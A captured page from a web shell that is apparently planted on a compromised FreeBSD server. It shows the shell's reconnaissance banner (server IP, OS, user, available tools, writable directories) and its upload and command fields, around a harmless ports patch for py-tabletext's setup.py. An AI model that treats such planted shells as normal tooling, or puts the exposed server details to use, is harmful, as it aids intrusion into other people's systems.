403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/py-tabletext/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/py-tabletext/files/patch-setup.py
--- setup.py.orig	2014-08-14 18:05:14 UTC
+++ setup.py
@@ -1,13 +1,18 @@
 #!/usr/bin/env python
 
 from setuptools import setup
+import sys
+
+open_kwargs = {}
+if sys.version_info.major >= 3:
+    open_kwargs['encoding'] = 'utf8'
 
 setup(name='tabletext',
       version='0.1',
       description='Python library and command line utility to pretty-print\
       tabular data',
-      long_description=open("README.rst").read() + "\n"
-      + open("CHANGELOG.rst").read(),
+      long_description=open("README.rst", **open_kwargs).read() + "\n"
+      + open("CHANGELOG.rst", **open_kwargs).read(),
       url='https://github.com/Thibauth/tabletext',
       author='Thibaut Horel',
       author_email='thibaut.horel+tabletext@gmail.com',

Youez - 2016 - github.com/yon3zu
LinuXploit